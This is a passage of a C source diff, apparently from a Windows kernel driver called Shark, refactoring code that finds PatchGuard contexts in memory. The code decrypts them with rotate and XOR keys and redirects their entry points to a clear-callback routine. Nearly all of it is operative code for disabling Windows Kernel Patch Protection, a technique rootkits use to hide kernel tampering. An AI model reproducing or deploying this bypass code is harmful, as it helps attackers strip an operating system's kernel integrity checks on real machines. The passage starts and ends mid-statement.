(GetGpBlock(PgBlock)->BuildNumber > 20000) { - PgBlock->BuildKey = 0x00000009UL; + if (GetRtBlock(Block)->BuildNumber > 20000) { + Block->BuildKey = 0x00000009UL; } - else if (GetGpBlock(PgBlock)->BuildNumber == 18362) { - PgBlock->BuildKey = 0xFFFFFFE6UL; + else if (GetRtBlock(Block)->BuildNumber == 18362) { + Block->BuildKey = 0xFFFFFFE6UL; } - PgBlock->CacheCmpAppendDllSection = PgBlock->_CacheCmpAppendDllSection; + Block->CacheCmpAppendDllSection = Block->_CacheCmpAppendDllSection; RtlCopyMemory( - PgBlock->_PostCache, + Block->_PostCache, PostCache, - sizeof(PgBlock->_PostCache)); + sizeof(Block->_PostCache)); - PgBlock->PostCache = - GetGpBlock(PgBlock)->BuildNumber > 18362 ? - __utop(PgBlock->_PostCache) : __utop(PgBlock->_PostCache + 8); + Block->PostCache = + GetRtBlock(Block)->BuildNumber > 18362 ? + (ptr)Block->_PostCache : (ptr)(Block->_PostCache + 8); RtlCopyMemory( - PgBlock->_PostKey, + Block->_PostKey, PostKey, - sizeof(PgBlock->_PostKey)); + sizeof(Block->_PostKey)); - PgBlock->PostKey = - GetGpBlock(PgBlock)->BuildNumber >= 18362 ? - __utop(PgBlock->_PostKey) : __utop(PgBlock->_PostKey + 0x20); + Block->PostKey = + GetRtBlock(Block)->BuildNumber >= 18362 ? + (ptr)Block->_PostKey : (ptr)(Block->_PostKey + 0x20); RtlInitUnicodeString(&RoutineString, L"MmIsAddressValid"); - PgBlock->MmIsAddressValid = MmGetSystemRoutineAddress(&RoutineString); + Block->MmIsAddressValid = MmGetSystemRoutineAddress(&RoutineString); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > MmIsAddressValid\n", - PgBlock->MmIsAddressValid); + "[SHARK] < %p > MmIsAddressValid\n", + Block->MmIsAddressValid); #endif // DEBUG RtlInitUnicodeString(&RoutineString, L"RtlLookupFunctionEntry"); - PgBlock->RtlLookupFunctionEntry = MmGetSystemRoutineAddress(&RoutineString); + Block->RtlLookupFunctionEntry = MmGetSystemRoutineAddress(&RoutineString); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > RtlLookupFunctionEntry\n", - PgBlock->RtlLookupFunctionEntry); + "[SHARK] < %p > RtlLookupFunctionEntry\n", + Block->RtlLookupFunctionEntry); #endif // DEBUG RtlInitUnicodeString(&RoutineString, L"RtlVirtualUnwind"); - PgBlock->RtlVirtualUnwind = MmGetSystemRoutineAddress(&RoutineString); + Block->RtlVirtualUnwind = MmGetSystemRoutineAddress(&RoutineString); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > RtlVirtualUnwind\n", - PgBlock->RtlVirtualUnwind); + "[SHARK] < %p > RtlVirtualUnwind\n", + Block->RtlVirtualUnwind); #endif // DEBUG RtlInitUnicodeString(&RoutineString, L"ExQueueWorkItem"); - PgBlock->ExQueueWorkItem = MmGetSystemRoutineAddress(&RoutineString); + Block->ExQueueWorkItem = MmGetSystemRoutineAddress(&RoutineString); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > ExQueueWorkItem\n", - PgBlock->ExQueueWorkItem); + "[SHARK] < %p > ExQueueWorkItem\n", + Block->ExQueueWorkItem); #endif // DEBUG - RtlCopyMemory( - &PgBlock->_CaptureContext[0], - _CaptureContext, - RTL_NUMBER_OF(PgBlock->_CaptureContext)); - - PgBlock->CaptureContext = __utop(&PgBlock->_CaptureContext[0]); + if (1 != Block->IsDebug) { + RtlCopyMemory( + &Block->_CaptureContext[0], + _CaptureContext, + RTL_NUMBER_OF(Block->_CaptureContext)); - // for debug - // PgBlock->CaptureContext = _CaptureContext; + Block->CaptureContext = (ptr)(u)&Block->_CaptureContext[0]; + } + else { + Block->CaptureContext = _CaptureContext; + } #ifdef DEBUG vDbgPrint( - "[Shark] < %p > CaptureContext\n", - PgBlock->CaptureContext); + "[SHARK] < %p > CaptureContext\n", + Block->CaptureContext); #endif // DEBUG - RtlCopyMemory( - &PgBlock->_ClearMessage[0], - ClearMessage[0], - strlen(ClearMessage[0])); - - PgBlock->ClearMessage[0] = &PgBlock->_ClearMessage[0]; - - // for debug - // PgBlock->ClearMessage[0] = ClearMessage[0]; - - RtlCopyMemory( - &PgBlock->_ClearMessage[0x40], - ClearMessage[1], - strlen(ClearMessage[1])); - - PgBlock->ClearMessage[1] = &PgBlock->_ClearMessage[0x40]; + if (1 != Block->IsDebug) { + RtlCopyMemory( + &Block->_ClearMessage[0], + ClearMessage[0], + strlen(ClearMessage[0])); - // for debug - // PgBlock->ClearMessage[1] = ClearMessage[1]; + Block->ClearMessage[0] = &Block->_ClearMessage[0]; - RtlCopyMemory( - &PgBlock->_ClearMessage[0x80], - ClearMessage[2], - strlen(ClearMessage[2])); + RtlCopyMemory( + &Block->_ClearMessage[0x40], + ClearMessage[1], + strlen(ClearMessage[1])); - PgBlock->ClearMessage[2] = &PgBlock->_ClearMessage[0x80]; + Block->ClearMessage[1] = &Block->_ClearMessage[0x40]; - // for debug - // PgBlock->ClearMessage[2] = ClearMessage[2]; + RtlCopyMemory( + &Block->_ClearMessage[0x80], + ClearMessage[2], + strlen(ClearMessage[2])); - RtlCopyMemory( - &PgBlock->_FreeWorker[0], - PgFreeWorker, - RTL_NUMBER_OF(PgBlock->_FreeWorker)); + Block->ClearMessage[2] = &Block->_ClearMessage[0x80]; + } + else { + Block->ClearMessage[0] = ClearMessage[0]; + Block->ClearMessage[1] = ClearMessage[1]; + Block->ClearMessage[2] = ClearMessage[2]; + } - PgBlock->FreeWorker = __utop(&PgBlock->_FreeWorker[0]); + if (1 != Block->IsDebug) { + RtlCopyMemory( + &Block->_FreeWorker[0], + PgFreeWorker, + RTL_NUMBER_OF(Block->_FreeWorker)); - // for debug - // PgBlock->FreeWorker = PgFreeWorker; + Block->FreeWorker = (ptr)(u)&Block->_FreeWorker[0]; + } + else { + Block->FreeWorker = PgFreeWorker; + } #ifdef DEBUG vDbgPrint( - "[Shark] < %p > FreeWorker\n", - PgBlock->FreeWorker); + "[SHARK] < %p > FreeWorker\n", + Block->FreeWorker); #endif // DEBUG - RtlCopyMemory( - &PgBlock->_ClearCallback[0], - PgClearCallback, - RTL_NUMBER_OF(PgBlock->_ClearCallback)); - - PgBlock->ClearCallback = __utop(&PgBlock->_ClearCallback[0]); + if (1 != Block->IsDebug) { + RtlCopyMemory( + &Block->_ClearCallback[0], + PgClearCallback, + RTL_NUMBER_OF(Block->_ClearCallback)); - // for debug - // PgBlock->ClearCallback = PgClearCallback; + Block->ClearCallback = (ptr)(u)&Block->_ClearCallback[0]; + } + else { + Block->ClearCallback = PgClearCallback; + } #ifdef DEBUG vDbgPrint( - "[Shark] < %p > ClearCallback\n", - PgBlock->ClearCallback); + "[SHARK] < %p > ClearCallback\n", + Block->ClearCallback); #endif // DEBUG } @@ -1473,7 +1346,7 @@ PgCreateObject( __in u8 Type, __in ptr BaseAddress, __in_opt u RegionSize, - __in PPGBLOCK PgBlock, + __in PPGBLOCK Block, __in ptr Return, __in ptr Callback, __in_opt ptr ProgramCounter, @@ -1494,7 +1367,7 @@ PgCreateObject( SetStackBody( &Object->Body, - PgBlock, + Block, Object, Callback, Return, @@ -1502,7 +1375,7 @@ PgCreateObject( CaptureContext); ExInterlockedInsertTailList( - &PgBlock->ObjectList, &Object->Entry, &PgBlock->ObjectLock); + &Block->Object, &Object->Entry, &Block->Lock); } return Object; @@ -1511,7 +1384,7 @@ PgCreateObject( void NTAPI PgSetNewEntry( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in PPGOBJECT Object, __in ptr PatchGuardContext, __in u64 RorKey @@ -1527,12 +1400,12 @@ PgSetNewEntry( // xor code must be align 8 byte; // get PatchGuard entry offset in encrypted code - FieldIndex = (PgBlock->OffsetEntryPoint - - PgBlock->SizeCmpAppendDllSection) / sizeof(u64); + FieldIndex = (Block->OffsetEntryPoint - + Block->SizeCmpAppendDllSection) / sizeof(u64); RtlCopyMemory( FieldBuffer, - (u8ptr)PatchGuardContext + (PgBlock->OffsetEntryPoint & ~7), + (u8ptr)PatchGuardContext + (Block->OffsetEntryPoint & ~7), sizeof(FieldBuffer)); LastRorKey = RorKey; @@ -1540,21 +1413,21 @@ PgSetNewEntry( for (Index = 0; Index < FieldIndex; Index++) { - LastRorKey = PgBlock->Rol64(LastRorKey, Index); + LastRorKey = Block->Rol64(LastRorKey, Index); } for (Index = 0; Index < RTL_NUMBER_OF(FieldBuffer); Index++) { - LastRorKey = PgBlock->Rol64(LastRorKey, FieldIndex + Index); + LastRorKey = Block->Rol64(LastRorKey, FieldIndex + Index); FieldBuffer[Index] = FieldBuffer[Index] ^ LastRorKey; } - RvaOfEntry = *(u32ptr)((u8ptr)FieldBuffer + (PgBlock->OffsetEntryPoint & 7)); + RvaOfEntry = *(u32ptr)((u8ptr)FieldBuffer + (Block->OffsetEntryPoint & 7)); // copy PatchGuard entry head code to temp bufer and decode - FieldIndex = (RvaOfEntry - PgBlock->SizeCmpAppendDllSection) / sizeof(u64); + FieldIndex = (RvaOfEntry - Block->SizeCmpAppendDllSection) / sizeof(u64); RtlCopyMemory( FieldBuffer, @@ -1566,13 +1439,13 @@ PgSetNewEntry( for (Index = 0; Index < FieldIndex; Index++) { - LastRorKey = PgBlock->Rol64(LastRorKey, Index); + LastRorKey = Block->Rol64(LastRorKey, Index); } for (Index = 0; Index < RTL_NUMBER_OF(FieldBuffer); Index++) { - LastRorKey = PgBlock->Rol64(LastRorKey, FieldIndex + Index); + LastRorKey = Block->Rol64(LastRorKey, FieldIndex + Index); FieldBuffer[Index] = FieldBuffer[Index] ^ LastRorKey; } @@ -1584,7 +1457,7 @@ PgSetNewEntry( while (Index--) { FieldBuffer[Index] = FieldBuffer[Index] ^ LastRorKey; - LastRorKey = PgBlock->Ror64(LastRorKey, FieldIndex + Index); + LastRorKey = Block->Ror64(LastRorKey, FieldIndex + Index); } // copy temp buffer PatchGuard entry head to old address, @@ -1597,7 +1470,7 @@ PgSetNewEntry( #ifdef DEBUG vDbgPrint( - "[Shark] < %p > set new entry for encrypted context\n", + "[SHARK] < %p > set new entry for encrypted context\n", Object); #endif // DEBUG } @@ -1605,7 +1478,7 @@ PgSetNewEntry( u NTAPI PgScanEntryWithBtc( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in PPGOBJECT Object, __out u32ptr AlignOffset, __out uptr LastKey @@ -1620,11 +1493,11 @@ PgScanEntryWithBtc( u32 CompareCount = 0; // xor decrypt must align 8 bytes - CompareCount = (Object->ContextSize - PgBlock->SizeCmpAppendDllSection) / 8 - 1; - TargetPc = __utop(__ptou(Object->Context) + PgBlock->SizeCmpAppendDllSection); + CompareCount = (Object->ContextSize - Block->SizeCmpAppendDllSection) / 8 - 1; + TargetPc = (ptr)((u)Object->Context + Block->SizeCmpAppendDllSection); do { - ControlPc = __utop(PgBlock->Header + Align); + ControlPc = (ptr)(Block->Header + Align); for (Index = 0; Index < CompareCount; @@ -1633,7 +1506,7 @@ PgScanEntryWithBtc( *LastKey = RorKey; - RorKey = PgBlock->CmpDecode(RorKey, Index + 1); + RorKey = Block->CmpDecode(RorKey, Index + 1); if ((TargetPc[Index] ^ RorKey) == ControlPc[0]) { Result = Index; @@ -1652,7 +1525,7 @@ PgScanEntryWithBtc( void NTAPI PgSetNewEntryWithBtc( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in PPGOBJECT Object ) { @@ -1669,7 +1542,7 @@ PgSetNewEntryWithBtc( ptr Pointer = NULL; Index = PgScanEntryWithBtc( - PgBlock, + Block, Object, &AlignOffset, &LastRorKey); @@ -1677,7 +1550,7 @@ PgSetNewEntryWithBtc( if (0 == Index) { #ifdef DEBUG vDbgPrint( - "[Shark] < %p > entrypoint not found!\n", + "[SHARK] < %p > entrypoint not found!\n", Object); #endif // DEBUG } @@ -1687,7 +1560,7 @@ PgSetNewEntryWithBtc( RtlCopyMemory( FieldBuffer, - (u8ptr)Object->Context + PgBlock->SizeCmpAppendDllSection + FieldIndex * sizeof(u), + (u8ptr)Object->Context + Block->SizeCmpAppendDllSection + FieldIndex * sizeof(u), sizeof(FieldBuffer)); RorKey = LastRorKey; @@ -1695,7 +1568,7 @@ PgSetNewEntryWithBtc( while (Index--) { FieldBuffer[Index] = FieldBuffer[Index] ^ RorKey; - RorKey = PgBlock->CmpDecode(RorKey, FieldIndex + Index); + RorKey = Block->CmpDecode(RorKey, FieldIndex + Index); } // set temp buffer PatchGuard entry head jmp to PgClearCallback and encrypt @@ -1709,17 +1582,17 @@ PgSetNewEntryWithBtc( while (Index--) { FieldBuffer[Index] = FieldBuffer[Index] ^ RorKey; - RorKey = PgBlock->CmpDecode(RorKey, FieldIndex + Index); + RorKey = Block->CmpDecode(RorKey, FieldIndex + Index); } RtlCopyMemory( - (u8ptr)Object->Context + PgBlock->SizeCmpAppendDllSection + FieldIndex * sizeof(u), + (u8ptr)Object->Context + Block->SizeCmpAppendDllSection + FieldIndex * sizeof(u), FieldBuffer, sizeof(FieldBuffer)); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > set new entry for btc encrypted context\n", + "[SHARK] < %p > set new entry for btc encrypted context\n", Object); #endif // DEBUG } @@ -1728,7 +1601,7 @@ PgSetNewEntryWithBtc( b NTAPI PgFastScanTimer( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in ptr Context ) { @@ -1747,27 +1620,27 @@ PgFastScanTimer( 0x00, 0x03, 0x05, 0x08, 0x06, 0x09, 0x0C, 0x07, 0x0D, 0x0A, 0x0E, 0x04, 0x01, 0x0F, 0x0B, 0x02 }; - ControlKey = __ptou(Context); - ControlKey = PgBlock->Ror64(ControlKey, ControlKey & 0x3F); + ControlKey = (u)Context; + ControlKey = Block->Ror64(ControlKey, ControlKey & 0x3F); do { - ControlPc = __ptou(Context) + Index * 8; + ControlPc = (u)Context + Index * 8; Cache = Original = __rdu64(ControlPc); Cache = Original ^ ControlKey; - Cache += PgBlock->PostCache(Index, Context); + Cache += Block->PostCache(Index, Context); - ControlKey ^= PgBlock->PostKey(Index, Original); + ControlKey ^= Block->PostKey(Index, Original); - ControlKey = PgBlock->Rol64( + ControlKey = Block->Rol64( ControlKey, - (0 == PgBlock->BuildKey ? ~Original : Original ^ PgBlock->BuildKey) & 0x3F); + (0 == Block->BuildKey ? ~Original : Original ^ Block->BuildKey) & 0x3F); - ControlKey += __ptou(Context); + ControlKey += (u)Context; for (KeyIndex = 0; KeyIndex < 0x10; KeyIndex++) { - Cache = PgBlock->Rol64(Cache, 4); + Cache = Block->Rol64(Cache, 4); Key = KeyTable[Cache & 0xF]; @@ -1775,15 +1648,15 @@ PgFastScanTimer( Cache |= Key; } - __wruptr(PgBlock->CacheCmpAppendDllSection + Index, Cache); + __wruptr(Block->CacheCmpAppendDllSection + Index, Cache); Index++; } while (Index < Count); XorKey = - PgBlock->OriginalCmpAppendDllSection[1] ^ PgBlock->CacheCmpAppendDllSection[1]; + Block->OriginalCmpAppendDllSection[1] ^ Block->CacheCmpAppendDllSection[1]; - if ((PgBlock->OriginalCmpAppendDllSection[2] ^ PgBlock->CacheCmpAppendDllSection[2]) == XorKey) { + if ((Block->OriginalCmpAppendDllSection[2] ^ Block->CacheCmpAppendDllSection[2]) == XorKey) { Result = TRUE; } @@ -1793,7 +1666,7 @@ PgFastScanTimer( u NTAPI PgFastScanBranch( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in ptr Context, __inout u32 BranchKey ) @@ -1813,37 +1686,37 @@ PgFastScanBranch( 0x00, 0x03, 0x05, 0x08, 0x06, 0x09, 0x0C, 0x07, 0x0D, 0x0A, 0x0E, 0x04, 0x01, 0x0F, 0x0B, 0x02 }; - ControlKey = __ptou(Context); - ControlKey = PgBlock->Ror64(ControlKey, ControlKey & 0x3F); + ControlKey = (u)Context; + ControlKey = Block->Ror64(ControlKey, ControlKey & 0x3F); do { - ControlPc = __ptou(Context) + Index * 8; + ControlPc = (u)Context + Index * 8; Cache = Original = __rdu64(ControlPc); - Cache ^= *PgBlock->KiWaitNever; + Cache ^= *Block->KiWaitNever; Cache = - PgBlock->Rol64(Cache, *PgBlock->KiWaitNever) ^ ControlKey; + Block->Rol64(Cache, *Block->KiWaitNever) ^ ControlKey; Cache = _byteswap_uint64(Cache); - Cache ^= *PgBlock->KiWaitAlways; - Cache += PgBlock->PostCache(Index, Context); + Cache ^= *Block->KiWaitAlways; + Cache += Block->PostCache(Index, Context); - ControlKey ^= PgBlock->PostKey(Index, Original); + ControlKey ^= Block->PostKey(Index, Original); - ControlKey = PgBlock->Rol64( + ControlKey = Block->Rol64( ControlKey, - (0 == PgBlock->BuildKey ? ~Original : Original ^ PgBlock->BuildKey) & 0x3F); + (0 == Block->BuildKey ? ~Original : Original ^ Block->BuildKey) & 0x3F); - ControlKey += __ptou(Context); + ControlKey += (u)Context; ControlKey ^= BranchKey; for (KeyIndex = 0; KeyIndex < 0x10; KeyIndex++) { - Cache = PgBlock->Rol64(Cache, 4); + Cache = Block->Rol64(Cache, 4); Key = KeyTable[Cache & 0xF]; @@ -1851,15 +1724,15 @@ PgFastScanBranch( Cache |= Key; } - __wruptr(PgBlock->CacheCmpAppendDllSection + Index, Cache); + __wruptr(Block->CacheCmpAppendDllSection + Index, Cache); Index++; } while (Index < Count); XorKey = - PgBlock->OriginalCmpAppendDllSection[1] ^ PgBlock->CacheCmpAppendDllSection[1]; + Block->OriginalCmpAppendDllSection[1] ^ Block->CacheCmpAppendDllSection[1]; - if ((PgBlock->OriginalCmpAppendDllSection[2] ^ PgBlock->CacheCmpAppendDllSection[2]) == XorKey) { + if ((Block->OriginalCmpAppendDllSection[2] ^ Block->CacheCmpAppendDllSection[2]) == XorKey) { Result = TRUE; } @@ -1869,7 +1742,7 @@ PgFastScanBranch( void NTAPI PgSetTimerNewEntry( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in PPGOBJECT Object ) { @@ -1890,26 +1763,26 @@ PgSetTimerNewEntry( Count = 0xC8 / 8; - ControlKey = __ptou(Object->Context); - ControlKey = PgBlock->Ror64(ControlKey, ControlKey & 0x3F); + ControlKey = (u)(Object->Context); + ControlKey = Block->Ror64(ControlKey, ControlKey & 0x3F); do { - Cache = Original = __rdu64(__ptou(Object->Context) + Index * 8); + Cache = Original = __rdu64((u)(Object->Context) + Index * 8); Cache = Original ^ ControlKey; - Cache += PgBlock->PostCache(Index, Object->Context); + Cache += Block->PostCache(Index, Object->Context); - ControlKey ^= PgBlock->PostKey(Index, Original); + ControlKey ^= Block->PostKey(Index, Original); - ControlKey = PgBlock->Rol64( + ControlKey = Block->Rol64( ControlKey, - (0 == PgBlock->BuildKey ? ~Original : Original ^ PgBlock->BuildKey) & 0x3F); + (0 == Block->BuildKey ? ~Original : Original ^ Block->BuildKey) & 0x3F); - ControlKey += __ptou(Object->Context); + ControlKey += (u)(Object->Context); for (KeyIndex = 0; KeyIndex < 0x10; KeyIndex++) { - Cache = PgBlock->Rol64(Cache, 4); + Cache = Block->Rol64(Cache, 4); Key = KeyTable[Cache & 0xF]; @@ -1919,13 +1792,13 @@ PgSetTimerNewEntry( if (FALSE != Pass) break; } - __wru64(__ptou(Object->Context) + Index * 8, Cache); + __wru64((u)(Object->Context) + Index * 8, Cache); Index++; if (Index == (0xC8 / 8)) { Object->Key = - PgBlock->OriginalCmpAppendDllSection[1] ^ PgBlock->CacheCmpAppendDllSection[1]; + Block->OriginalCmpAppendDllSection[1] ^ Block->CacheCmpAppendDllSection[1]; Count = Cache ^ Object->Key; Count >>= 0x20; @@ -1950,17 +1823,17 @@ PgSetTimerNewEntry( #ifdef DEBUG vDbgPrint( - "[Shark] < %p > set new entry for double encrypted context\n", + "[SHARK] < %p > set new entry for double encrypted context\n", Object); #endif // DEBUG Index = 0; Pass = FALSE; - ControlKey = __ptou(Object->Context); - ControlKey = PgBlock->Ror64(ControlKey, ControlKey & 0x3F); + ControlKey = (u)(Object->Context); + ControlKey = Block->Ror64(ControlKey, ControlKey & 0x3F); do { - Cache = __rdu64(__ptou(Object->Context) + Index * 8); + Cache = __rdu64((u)(Object->Context) + Index * 8); for (KeyIndex = 0; KeyIndex < 0x10; @@ -1970,24 +1843,24 @@ PgSetTimerNewEntry( Cache &= 0xFFFFFFFFFFFFFFF0ULL; Cache |= Key; - Cache = PgBlock->Ror64(Cache, 4); + Cache = Block->Ror64(Cache, 4); if (FALSE != Pass) break; } - Cache -= PgBlock->PostCache(Index, Object->Context); + Cache -= Block->PostCache(Index, Object->Context); Cache ^= ControlKey; - ControlKey ^= PgBlock->PostKey(Index, Cache); + ControlKey ^= Block->PostKey(Index, Cache); - ControlKey = PgBlock->Rol64( + ControlKey = Block->Rol64( ControlKey, - (0 == PgBlock->BuildKey ? ~Cache : Cache ^ PgBlock->BuildKey) & 0x3F); + (0 == Block->BuildKey ? ~Cache : Cache ^ Block->BuildKey) & 0x3F); - ControlKey += __ptou(Object->Context); + ControlKey += (u)(Object->Context); - __wru64(__ptou(Object->Context) + Index * 8, Cache); + __wru64((u)(Object->Context) + Index * 8, Cache); Index++; @@ -2000,7 +1873,7 @@ PgSetTimerNewEntry( void NTAPI PgSetBranchNewEntry( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __inout PPGOBJECT Object, __in u32 BranchKey ) @@ -2022,31 +1895,31 @@ PgSetBranchNewEntry( Count = 0xC8 / 8; - ControlKey = __ptou(Object->Context); - ControlKey = PgBlock->Ror64(ControlKey, ControlKey & 0x3F); + ControlKey = (u)(Object->Context); + ControlKey = Block->Ror64(ControlKey, ControlKey & 0x3F); do { - Cache = Original = __rdu64(__ptou(Object->Context) + Index * 8); + Cache = Original = __rdu64((u)(Object->Context) + Index * 8); - Cache ^= *PgBlock->KiWaitNever; - Cache = PgBlock->Rol64(Cache, *PgBlock->KiWaitNever) ^ ControlKey; + Cache ^= *Block->KiWaitNever; + Cache = Block->Rol64(Cache, *Block->KiWaitNever) ^ ControlKey; Cache = _byteswap_uint64(Cache); - Cache ^= *PgBlock->KiWaitAlways; - Cache += PgBlock->PostCache(Index, Object->Context); + Cache ^= *Block->KiWaitAlways; + Cache += Block->PostCache(Index, Object->Context); - ControlKey ^= PgBlock->PostKey(Index, Original); + ControlKey ^= Block->PostKey(Index, Original); - ControlKey = PgBlock->Rol64( + ControlKey = Block->Rol64( ControlKey, - (0 == PgBlock->BuildKey ? ~Original : Original ^ PgBlock->BuildKey) & 0x3F); + (0 == Block->BuildKey ? ~Original : Original ^ Block->BuildKey) & 0x3F); - ControlKey += __ptou(Object->Context); + ControlKey += (u)(Object->Context); ControlKey ^= BranchKey; for (KeyIndex = 0; KeyIndex < 0x10; KeyIndex++) { - Cache = PgBlock->Rol64(Cache, 4); + Cache = Block->Rol64(Cache, 4); Key = KeyTable[Cache & 0xF]; @@ -2056,13 +1929,13 @@ PgSetBranchNewEntry( if (FALSE != Pass) break; } - __wru64(__ptou(Object->Context) + Index * 8, Cache); + __wru64((u)(Object->Context) + Index * 8, Cache); Index++; if (Index == (0xC8 / 8)) { Object->Key = - PgBlock->OriginalCmpAppendDllSection[1] ^ PgBlock->CacheCmpAppendDllSection[1]; + Block->OriginalCmpAppendDllSection[1] ^ Block->CacheCmpAppendDllSection[1]; Count = Cache ^ Object->Key; Count >>= 0x20; @@ -2087,17 +1960,17 @@ PgSetBranchNewEntry( #ifdef DEBUG vDbgPrint( - "[Shark] < %p > set new entry for double encrypted context\n", + "[SHARK] < %p > set new entry for double encrypted context\n", Object); #endif // DEBUG Index = 0; Pass = FALSE; - ControlKey = __ptou(Object->Context); - ControlKey = PgBlock->Ror64(ControlKey, ControlKey & 0x3F); + ControlKey = (u)(Object->Context); + ControlKey = Block->Ror64(ControlKey, ControlKey & 0x3F); do { - Cache = __rdu64(__ptou(Object->Context) + Index * 8); + Cache = __rdu64((u)(Object->Context) + Index * 8); for (KeyIndex = 0; KeyIndex < 0x10; @@ -2107,28 +1980,28 @@ PgSetBranchNewEntry( Cache &= 0xFFFFFFFFFFFFFFF0ULL; Cache |= Key; - Cache = PgBlock->Ror64(Cache, 4); + Cache = Block->Ror64(Cache, 4); if (FALSE != Pass) break; } - Cache -= PgBlock->PostCache(Index, Object->Context); - Cache ^= *PgBlock->KiWaitAlways; + Cache -= Block->PostCache(Index, Object->Context); + Cache ^= *Block->KiWaitAlways; Cache = _byteswap_uint64(Cache); Cache ^= ControlKey; - Cache = PgBlock->Ror64(Cache, *PgBlock->KiWaitNever); - Cache ^= *PgBlock->KiWaitNever; + Cache = Block->Ror64(Cache, *Block->KiWaitNever); + Cache ^= *Block->KiWaitNever; - ControlKey ^= PgBlock->PostKey(Index, Cache); + ControlKey ^= Block->PostKey(Index, Cache); - ControlKey = PgBlock->Rol64( + ControlKey = Block->Rol64( ControlKey, - (0 == PgBlock->BuildKey ? ~Cache : Cache ^ PgBlock->BuildKey) & 0x3F); + (0 == Block->BuildKey ? ~Cache : Cache ^ Block->BuildKey) & 0x3F); - ControlKey += __ptou(Object->Context); + ControlKey += (u)(Object->Context); ControlKey ^= BranchKey; - __wru64(__ptou(Object->Context) + Index * 8, Cache); + __wru64((u)(Object->Context) + Index * 8, Cache); Index++; @@ -2141,7 +2014,7 @@ PgSetBranchNewEntry( PPGOBJECT NTAPI PgCompareDoubleEncryptedFields( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in u8 Type, __in ptr BaseAddress, __in u RegionSize @@ -2155,18 +2028,18 @@ PgCompareDoubleEncryptedFields( // search first page EndAddress = (u8ptr)BaseAddress - + PAGE_SIZE + PgBlock->SizeCmpAppendDllSection; + + PAGE_SIZE + Block->SizeCmpAppendDllSection; for (Index = 0; - Index < RTL_NUMBER_OF(PgBlock->BranchKey) && 0 == Result; + Index < RTL_NUMBER_OF(Block->BranchKey) && 0 == Result; Index++) { TargetPc = BaseAddress; do { Result = PgFastScanBranch( - PgBlock, + Block, TargetPc, - PgBlock->BranchKey[Index]); + Block->BranchKey[Index]); if (0 != Result) { Object = PgCreateObject( @@ -2174,25 +2047,25 @@ PgCompareDoubleEncryptedFields( Type, BaseAddress, RegionSize, - PgBlock, + Block, NULL, - PgBlock->ClearCallback, + Block->ClearCallback, NULL, - PgBlock->CaptureContext); + Block->CaptureContext); if (NULL != Object) { Object->Context = TargetPc; PgSetBranchNewEntry( - PgBlock, + Block, Object, - PgBlock->BranchKey[Index]); + Block->BranchKey[Index]); } break; } else { - Result = PgFastScanTimer(PgBlock, TargetPc); + Result = PgFastScanTimer(Block, TargetPc); if (0 != Result) { Object = PgCreateObject( @@ -2200,22 +2073,22 @@ PgCompareDoubleEncryptedFields( Type, BaseAddress, RegionSize, - PgBlock, + Block, NULL, - PgBlock->ClearCallback, + Block->ClearCallback, NULL, - PgBlock->CaptureContext); + Block->CaptureContext); if (NULL != Object) { Object->Context = TargetPc; - PgSetTimerNewEntry(PgBlock, Object); + PgSetTimerNewEntry(Block, Object); } break; } } - } while (__ptou(TargetPc++) < __ptou(EndAddress)); + } while ((u)TargetPc++ < (u)EndAddress); } return Object; @@ -2224,7 +2097,7 @@ PgCompareDoubleEncryptedFields( void NTAPI PgCompareFields( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in u8 Type, __in ptr BaseAddress, __in u RegionSize @@ -2241,14 +2114,14 @@ PgCompareFields( b Result = 0; if (FALSE != MmIsAddressValid(BaseAddress)) { - if ((__ptou(PgBlock) >= __ptou(BaseAddress)) && - (__ptou(PgBlock) < (__ptou(BaseAddress) + RegionSize))) { + if (((u)Block >= (u)BaseAddress) && + ((u)Block < ((u)BaseAddress + RegionSize))) { // pass self } else { - if (GetGpBlock(PgBlock)->BuildNumber >= 18362) { + if (GetRtBlock(Block)->BuildNumber >= 18362) { Object = PgCompareDoubleEncryptedFields( - PgBlock, + Block, Type, BaseAddress, RegionSize); @@ -2256,7 +2129,7 @@ PgCompareFields( if (NULL != Object) { #ifdef DEBUG vDbgPrint( - "[Shark] < %p > found encrypted context < %p - %08x >\n", + "[SHARK] < %p > found encrypted context < %p - %08x >\n", Object->Context, BaseAddress, RegionSize); @@ -2267,16 +2140,16 @@ PgCompareFields( TargetPc = BaseAddress; // only search one page - EndAddress = (u8ptr)BaseAddress + PAGE_SIZE - sizeof(PgBlock->Fields); + EndAddress = (u8ptr)BaseAddress + PAGE_SIZE - sizeof(Block->Fields); do { Fields = TargetPc; - if ((u64)Fields == (u64)PgBlock->Fields) { + if ((u64)Fields == (u64)Block->Fields) { break; } - RorKey = Fields[3] ^ PgBlock->Fields[3]; + RorKey = Fields[3] ^ Block->Fields[3]; // CmpAppendDllSection + 98 @@ -2288,14 +2161,14 @@ PgCompareFields( // loop CmpAppendDllSection + 98 if (0 == RorKey) { - if (Fields[2] == PgBlock->Fields[2] && - Fields[1] == PgBlock->Fields[1] && - Fields[0] == PgBlock->Fields[0]) { + if (Fields[2] == Block->Fields[2] && + Fields[1] == Block->Fields[1] && + Fields[0] == Block->Fields[0]) { Context = TargetPc - PG_FIRST_FIELD_OFFSET; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > found declassified context\n", + "[SHARK] < %p > found declassified context\n", Context); #endif // DEBUG break; @@ -2304,28 +2177,28 @@ PgCompareFields( else { RorKeyIndex = 0; - RorKey = PgBlock->CmpDecode(RorKey, PG_FIELD_BITS); + RorKey = Block->CmpDecode(RorKey, PG_FIELD_BITS); RorKeyIndex++; - if ((u64)(Fields[2] ^ RorKey) == (u64)PgBlock->Fields[2]) { - RorKey = PgBlock->CmpDecode(RorKey, PG_FIELD_BITS - RorKeyIndex); + if ((u64)(Fields[2] ^ RorKey) == (u64)Block->Fields[2]) { + RorKey = 